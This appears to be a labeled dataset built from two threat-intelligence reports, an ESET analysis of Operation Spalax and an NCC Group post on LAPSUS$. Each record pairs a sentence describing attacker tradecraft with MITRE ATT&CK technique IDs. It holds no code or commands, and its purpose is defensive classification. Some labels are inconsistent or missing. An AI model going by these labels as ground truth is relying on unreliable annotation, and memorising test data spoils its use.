{"sentence": "The result is a DLL that will be loaded and called in the same address space.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The DLL reads pixels from an image contained in the first binary and decrypts another executable.", "labels": ["T1027", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This one is loaded and executed in the same address space.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This new executable is packed with CyaX. It reads data from its own resource section and decrypts a payload.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There are anti-analysis checks; if they pass, the payload can be injected into a new process or loaded in the same process space.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The initial dropper is coded in C#.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In all the samples that we have seen, the code for the dropper was hiding in non-malicious code, probably copied from other apps.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The benign code is not executed; it’s there to evade detection.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In Figure 16 we see an example of the resources contained in one of these droppers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The text in green (only shown partially) is a string that will be decrypted to generate the next stage to be executed and the image that we see below the green text will be decrypted by the second stage malware.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The algorithm used for decryption of the string varies from sample to sample, but sometimes the resource is just an unencrypted binary.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Figure 16.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Resources contained in Agent Tesla’s packer", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The method to be executed in the DLL is always named StartGame or StartUpdate.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It reads the image from the first executable, and stores every pixel as three numbers according to its red, green and blue components.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Then it decrypts the array by doing a single-byte XOR operation, cycling through the key.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "After that, the array is gzip-decompressed and executed.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Part of the code for the mentioned operations is shown in Figure 17. Figure 17.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Code to decrypt and run the third-stage malware The third stage is in charge of decrypting and running the payload.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The .NET packer known as CyaX is used to perform this task.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The version of the packer used by the attackers is v4, although they used v2 in some cases.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Figure 18 shows the hardcoded configuration for one of their samples.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Hardcoded configuration in CyaX-Sharp packer", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The decryption of the payload is based on XOR operations and is the same as the algorithm previously shown but with an extra step: the payload is XORed with its first 16 bytes as a key.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Once it’s decrypted, it can be run in the same address space or injected into a different process, depending on the configuration.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This packer supports various anti-analysis operations such as disabling Windows Defender, checking for security products, and detecting virtual environments and sandboxes.", "labels": ["T1518.001", "T1562.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The majority of the payloads for these droppers are njRAT, but we have also seen AsyncRAT.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We saw Remcos in one of these droppers, but the code in the packer was different.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Part of the main routine for the injection of the payload is shown in Figure 19. Figure 19.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Code for the last stage of a dropper We have noticed that the configuration is contained in different variables.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Values like #startup_method# or #bind# mean that the configuration was not set for those options.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The payload is read from an encrypted resource and XORed with a hardcoded password.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The shellcode that performs the injection is contained in an array and is dynamically loaded.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There are no anti-analysis checks or protection mechanisms.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "AutoIt", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "droppers For some of their droppers, the attackers have used an AutoIt packer that comes heavily obfuscated.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Unlike the cases that were previously described, in this case the first-stage malware performs the injection and execution of the payload.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It does so by using two shellcodes contained in the compiled AutoIt script: one to decrypt the payload and another to inject it into some process.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The payload is constructed by concatenating several strings, as shown in Figure 20.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "By inspecting the last two characters, we can see that the string is in reverse order.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Figure 20.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Concatenation of the payload The routine that decrypts the payload contains a small shellcode that is loaded with VirtualAlloc and executed.", "labels": ["T1106"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The decryption done by the shellcode is based on a single-byte XOR algorithm.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The code that loads the shellcode is shown in Figure 21. Figure 21.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Execution of shellcode to decrypt the payload We can see that the shellcode is stored encrypted.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In fact, before deobfuscating the script, all strings were encrypted with this same XOR-based algorithm.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The decryption routine used is shown in Figure 22. Figure 22.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Routine to decrypt strings Once the payload is decrypted, a shellcode with RunPE code is used to perform the injection.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The shellcode is concatenated in the same manner as the payload and executed like the previous shellcode.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "To achieve persistence, a VBS script is created to execute a copy of the dropper (which is renamed to aadauthhelper.exe).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Then an Internet Shortcut (.url) file is created in the Startup folder to execute the script.", "labels": ["T1547.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The code that generates these files is shown in Figure 23. Figure 23.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Code for persistence in AutoIt", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "droppers The dropper contains code that is not executed.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It can: Check for VMware and VirtualBox Delete the dropper executable Run the dropper continuously Download and execute files Terminate if a “Program Manager” window is found Read a binary from its resource section, write it to disk and execute it Modify the security descriptor (ACL) for the injected process For more information see this analysis by Morphisec where similar AutoIt droppers were used with Frenchy shellcode.", "labels": ["T1027", "T1070.004", "T1105"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Payloads The payloads used in Operation Spalax are remote access trojans.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These provide several capabilities not only for remote control, but also for spying on targets: keylogging, screen capture, clipboard hijacking, exfiltration of files, and the ability to download and execute other malware, to name a few.", "labels": ["T1041", "T1056.001", "T1105", "T1113"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These RATs were not developed by the attackers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "They are: Remcos, sold online njRAT, leaked in underground forums AsyncRAT, open source There is not a one-to-one relationship between droppers and payloads, as we have seen different types of droppers running the same payload and also a single type of dropper connected to different payloads.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "However, we can state that NSIS droppers mostly drop Remcos, while Agent Tesla and AutoIt packers typically drop njRAT.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Remcos is a tool for remote control and surveillance.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It can be purchased with a six-month license that includes updates and support.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There is also a free version with limited functionalities.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "While the tool can be used for legitimate purposes, it is also used by criminals to spy on their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Most of the Remcos samples used by this group are v2.5.0 Pro, but we have also seen all versions that were released since September 2019, which may indicate that the attackers bought a license after that month and have been actively using the different updates that they received during their six month license period.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Regarding njRAT, this group mostly uses v0.7.3 (also known as the Lime version).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "That version includes functionalities such as DDoS or ransomware encryption, but only spy features such as keylogging are used by the attackers.", "labels": ["T1056.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "For a more complete description of this version, refer to this 2018 article by Zscaler.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Another njRAT version used by the attackers is v0.7d (the “green edition”) which is a simpler version focused on spying capabilities: keylogging, taking screenshots, access to webcam and microphone, uploading and downloading files, and executing other binaries.", "labels": ["T1056.001", "T1105", "T1113"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The final type of payload that we will mention is AsyncRAT.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In all cases we have observed v0.5.7B, which can be found on GitHub, has been used.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The functionalities in this RAT are similar to those in the previously mentioned RATs, which allow attackers to spy on their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Network infrastructure During our research we saw approximately 70 different domain names used for C&C in the second half of 2020.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This amounts to at least 24 IP addresses.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "By pivoting on passive DNS data for IP addresses and known domain names, we found that the attackers have used at least 160 additional domain names since 2019.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This corresponds to at least 40 further IP addresses.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "They’ve managed to operate at such scale by using Dynamic DNS services.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This means that they have a pool of domain names (and also register new ones on a regular basis) that are dynamically assigned to IP addresses.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This way a domain name can be related to several IP addresses over a period of time and IP addresses can be related to many domain names.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Most of the domain names we have seen were registered with Duck DNS, but they have also used DNS Exit for publicvm.com and linkpc.net subdomains.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Regarding IP addresses, almost all of them are in Colombia.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Most are IP addresses related to Colombian ISPs: 60% of them are Telmex and 30% EPM Telecomunicaciones (Tigo).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "As it is highly unlikely that the criminals own so many residential IP addresses, it is possible that they use some victims as proxies, or some vulnerable devices to forward communication to their real C&C servers.", "labels": ["T1090"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Finally, a subset of the IP addresses belongs to Powerhouse Management, a VPN service provider.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "They are used in conjunction with DNS Exit subdomains.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Similar findings can be found in this analysis by Lab52. Conclusion Targeted malware attacks against Colombian entities have been scaled up since the campaigns that were described last year.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The landscape has changed from a campaign that had a handful of C&C servers and domain names to a campaign with very large and fast-changing infrastructure with hundreds of domain names used since 2019.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Even though TTPs have seen changes, not only in how malware is delivered in phishing emails but also in the RATs used, one aspect that remains the same is that the attacks are still targeted and focused on Colombian entities, both in the public and private sectors.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It should be expected that these attacks will continue in the region for a long time, so we will keep monitoring these activities.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "A comprehensive list of Indicators of Compromise (IoCs) and samples can be found in our GitHub repository.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "For any inquiries, or to make sample submissions related to the subject, contact us at threatintel@eset.com.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "MITRE ATT&CK techniques Note: This table was built using version 7 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "TacticIDNameDescription Initial AccessT1566.001Phishing:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Spearphishing AttachmentThe attackers have used emails with PDF or RTF files attached that contain a link to download malware.", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1566.002Phishing:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Spearphishing LinkThe attackers have used emails with a link to download malware.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "ExecutionT1059.005Command and Scripting Interpreter:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Visual BasicThe attackers have used droppers that dump VBS files with commands to achieve persistence.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1059.003Command and Scripting Interpreter:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Windows Command ShellThe attackers have used RATs that can launch a command shell for executing commands. T1106Native", "labels": ["T1059.003"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "APIThe attackers have used API calls in their droppers, such as CreateProcessA, WriteProcessMemory and ResumeThread, to load and execute shellcode in memory.", "labels": ["T1106"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1204.001User Execution: Malicious LinkThe attackers have attempted to get users to open a malicious link that leads to the download of malware.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1204.002User Execution: Malicious FileThe attackers have attempted to get users to execute malicious files masquerading as documents. PersistenceT1547.001Boot or Logon Initialization Scripts: Registry Run Keys / Startup", "labels": ["T1204.002"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "FolderThe attackers have used RATs that persist by creating a Run registry key or by creating a copy of the malware in the Startup folder.", "labels": ["T1547.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1053.005Scheduled Task/Job: Scheduled TaskThe attackers have used scheduled tasks in their droppers and payloads to achieve persistence.", "labels": ["T1053.005"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Privilege EscalationT1548.002Abuse Elevation Control Mechanism: Bypass User Access ControlThe attackers have used RATs that implement UAC bypassing.", "labels": ["T1548.002"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Defense EvasionT1140Deobfuscate/Decode Files or InformationThe attackers have used various encryption algorithms in their droppers to hide strings and payloads.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1562.001Impair Defenses: Disable or Modify ToolsThe attackers have used CyaX packer, which can disable Windows Defender.", "labels": ["T1562.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1070.004Indicator Removal on Host:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "File DeletionThe attackers have used malware that deletes itself from the system.", "labels": ["T1070.004"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1112Modify RegistryThe attackers have used RATs that allow full access to the Registry, for example to clear traces of their activities.", "labels": ["T1112"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1027.002Obfuscated Files or Information:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Software PackingThe attackers have used various layers of packers for obfuscating their droppers.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1027.003Obfuscated Files or Information:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "SteganographyThe attackers have used packers that read pixel data from images contained in PE files’ resource sections and build the next layer of execution from the data.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1055.002Process Injection: Portable Executable InjectionThe attackers have used droppers that inject the payload into legitimate processes such as RegAsm.exe, MSBuild.exe and more.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1497.001Virtualization/Sandbox Evasion:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "System ChecksThe attackers have used droppers and payloads that perform anti-analysis checks to detect virtual environments and analysis tools.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Credential AccessT1555.003Credentials from Password Stores: Credentials from Web BrowsersThe attackers have used various RATs with modules that steal passwords saved in victim web browsers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryT1010Application", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Window", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used droppers and RATs that gather information about opened windows. T1083File and Directory", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used various RATs that can browse file systems.", "labels": ["T1083"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1120Peripheral Device", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used njRAT, which attempts to detect if the victim system has a camera during the initial infection.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1057Process", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used various RATs with modules that show running processes.", "labels": ["T1057"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1012Query RegistryThe attackers have used various RATs that can read the Registry.", "labels": ["T1012"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1018Remote System DiscoveryThe attackers have used njRAT, which can identify remote hosts on connected networks.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1518.001Software Discovery: Security Software", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used droppers that check for security software present in a victim’s computer.", "labels": ["T1518.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1082System Information", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used various RATs that gather system information such as computer name and operating system during the initial infection. T1016System Network Configuration DiscoveryThe attackers have used various RATs that can collect the IP address of the victim machine.", "labels": ["T1016", "T1082"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1049System Network Connections DiscoveryThe attackers have used various RATs that can list network connections on a victim’s computer.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1033System Owner/", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "User DiscoveryThe attackers have used various RATs that retrieve the current username during initial infection.", "labels": ["T1033"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1007System", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Service DiscoveryThe attackers have used various RATs that have modules to manage services on the system.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1021.001Remote Services: Remote Desktop ProtocolThe attackers have used various RATs that can perform remote desktop access.", "labels": ["T1021.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1091Replication", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Through Removable MediaThe attackers have used njRAT, which can be configured to spread via removable drives.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "CollectionT1123Audio", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "CaptureThe attackers have used various RATs that can capture audio from the system’s microphone.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1115Clipboard", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DataThe attackers have used various RATs that can access and modify data from the clipboard. T1005Data from Local SystemThe attackers have used various RATs that can access the local file system and upload, download or delete files.", "labels": ["T1005"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1056.001Input Capture:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "KeyloggingThe attackers have used various RATs that have keylogging capabilities.", "labels": ["T1056.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1113Screen", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "CaptureThe attackers have used various RATs that can capture screenshots of victim machines.", "labels": ["T1113"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1125Video", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "CaptureThe attackers have used various RATs that can access the victim’s webcam. Command and ControlT1132.001Data Encoding: Standard EncodingThe attackers have used njRAT, which uses base64 encoding for C&C traffic.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1573.001Encrypted Channel:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Symmetric CryptographyThe attackers have used Remcos RAT, which uses RC4 for encrypting C&C communications.", "labels": ["T1573.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1095Non-Application Layer ProtocolThe attackers have used various RATs that use TCP for C&C communications.", "labels": ["T1095"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1571Non-Standard PortThe attackers have used various RATs that communicate over different port numbers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "ExfiltrationT1041Exfiltration", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Over C2 ChannelThe attackers have used various RATs that exfiltrate data over the same channel used for C&C. 12 Jan 2021 - 11:30AM", "labels": ["T1041"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Authored by: David Brown, Michael Matthews and Rob Smallridge tl;dr This post describes the techniques, tactics and procedures we observed during recent LAPSUS$ incidents.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Our findings can be summarised as below: Access and scraping of corporate Microsoft SharePoint sites in order to identify any credentials which may be stored in technical documentation.", "labels": ["T1552.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Access to local password managers and databases to obtain further credentials and escalate privileges.", "labels": ["T1552.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Living of the land – tools such as RVTools to shut down servers and ADExplorer to perform reconnaissance.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Cloning of git repositories and extraction of sensitive API Keys.", "labels": ["T1078", "T1552.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Using compromised credentials to access corporate VPNs.", "labels": ["T1078"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Disruption or destruction to victim infrastructure to hinder analysis and consume defensive resource.", "labels": ["T1078"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Summary LAPSUS$ first appeared publicly in December 2021, however, NCC Group first observed LAPSUS$ months prior during an incident response engagement.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "We believe the group has also operated prior to this date, though perhaps not under the “LAPSUS$” banner.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Over the last 5 months, LAPSUS$ has gained large notoriety with some successful breaches of some large enterprises including, Microsoft, Nvidia, Okta & Samsung.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Little is still known about this group with motivations appearing to be for reputation, money and “for the lulz”.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Notifications or responsibility of victims by LAPSUS$ are commonly reported via their telegram channel and in one case a victim’s DNS records were reconfigured to LAPSUS$ controlled domains/websites.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "However, not all victims or breaches appear to actively be announced via their telegram channel, nor are some victims approached with a ransom.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "This distinguishes themselves from more traditional ransomware groups who have a clear modus operandi and are clearly financially focused.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "The result of this is that LAPSUS$ are less predictable which may be why they have seen recent success.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "This serves as a reminder for defenders for defence in depth and the need to anticipate different tactics that threat actors may use.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "It is also worth mentioning the brazen behaviour of this threat actor and their emboldened attempts at Social Engineering by offering payment for insiders to provide valid credentials.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "This tactic is potentially in response to greater home working due to the pandemic which means there is a far larger proportion of employees with VPN access and as such a greater pool of potential employees willing to sell their credentials.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "To combat this, organisations need to ensure they have extensive VPN logging capabilities, robust helpdesk ticketing as well as methods to help identify anomalies in VPN access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "It is notable that the majority of LAPSUS$ actions exploit the human element as opposed to technical deficiencies or vulnerabilities.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Although potentially viewed as unsophisticated or basic these techniques have been successful, so it is vital that organisations factor in controls and mitigations to address them.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Initial access Threat Intelligence shows that LAPSUS$ utilise multiple methods to gain Initial access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "The main source of initial access is believed to occur via stolen authentication cookies which would grant the attacker access to a specific application.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "These cookies are usually in the form of Single sign-on (SSO) applications which would allow the attacker to pivot into other corporate applications ultimately bypassing controls such as multi-factor authentication (MFA).", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Credential access and Privilege escalation Credential Harvesting and privileged escalation are key components of the LAPSUS$ breaches we have seen, with rapid escalation in privileges the LAPSUS$ group have been seen to elevate from a standard user account to an administrative user within a couple of days.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
